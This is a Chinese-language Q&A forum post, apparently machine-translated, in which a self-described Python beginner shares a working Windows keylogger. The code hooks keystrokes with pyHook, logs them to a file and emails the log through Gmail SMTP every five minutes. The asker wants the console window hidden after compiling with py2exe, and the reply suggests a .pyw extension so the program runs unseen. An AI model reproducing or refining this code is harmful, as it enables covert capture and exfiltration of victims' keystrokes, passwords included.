我是Python的新手。我正在写一个密钥记录程序。
我写了这个:
#!/usr/bin/python
import pythoncom , pyHook , time, smtplib
LOG = open("C:\LOG.txt", "a")
LOG.write("")
LOG.close()
_time = time.strftime(" %A, %d, %B, %Y, %H : %M ")
_time1 = _time
num_lines =sum(1 for line in open('C:\LOG.txt'))
if num_lines > 45 :
LOG = open("C:\LOG.txt", "w")
LOG.truncate()
LOG.close()
LOG = open("C:\LOG.txt", "a")
LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time))
LOG.close()
timer = time.time()
mtxt = ""
def OnKeyboardEvent(event) :
global _time1
global timer
c = time.strftime(" %A, %d, %B, %Y, %H : %M ")
timer2 = time.time()
if timer2 >= timer+300.0 :
LOG = open("C:\LOG.txt","r")
TXT = LOG.readlines()
i = 0
while i < len(TXT) :
global mtxt
global txt
txt = TXT[i]
i += 1
mtxt += txt
server = smtplib.SMTP("smtp.gmail.com:25")
server.starttls()
server.login("myemail@gmail.com", "password")
server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt)
server.quit()
LOG.close()
timer = timer2
if _time1 == c :
LOG = open("C:\LOG.txt", "a")
LOG.write(chr(event.Ascii))
LOG.close()
elif _time1 != c :
LOG = open("C:\LOG.txt", "a")
LOG.write("\n[%s]\n"% (c))
LOG.close()
_time1 = c
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
&#13;
我知道这很麻烦...... 但是我还在努力,我试着不去看其他关键记录器......
工作正常,每隔五分钟它就会给我发一封带钥匙的电子邮件......
但我尝试用py2exe
编译它,当我启动keylogger.exe
时,它会打开一个提示窗口......它工作正常,但有窗口。我想要隐藏该窗口或将程序更改为一个过程,但我不知道如何......
答案 0 :(得分:0)
我认为你所要做的就是在使用py2exe将python文件转换为可执行文件之前,将python脚本的扩展名从.py更改为.pyw。希望它有所帮助。
Why does my program work with a .py extension but not with a .pyw extension?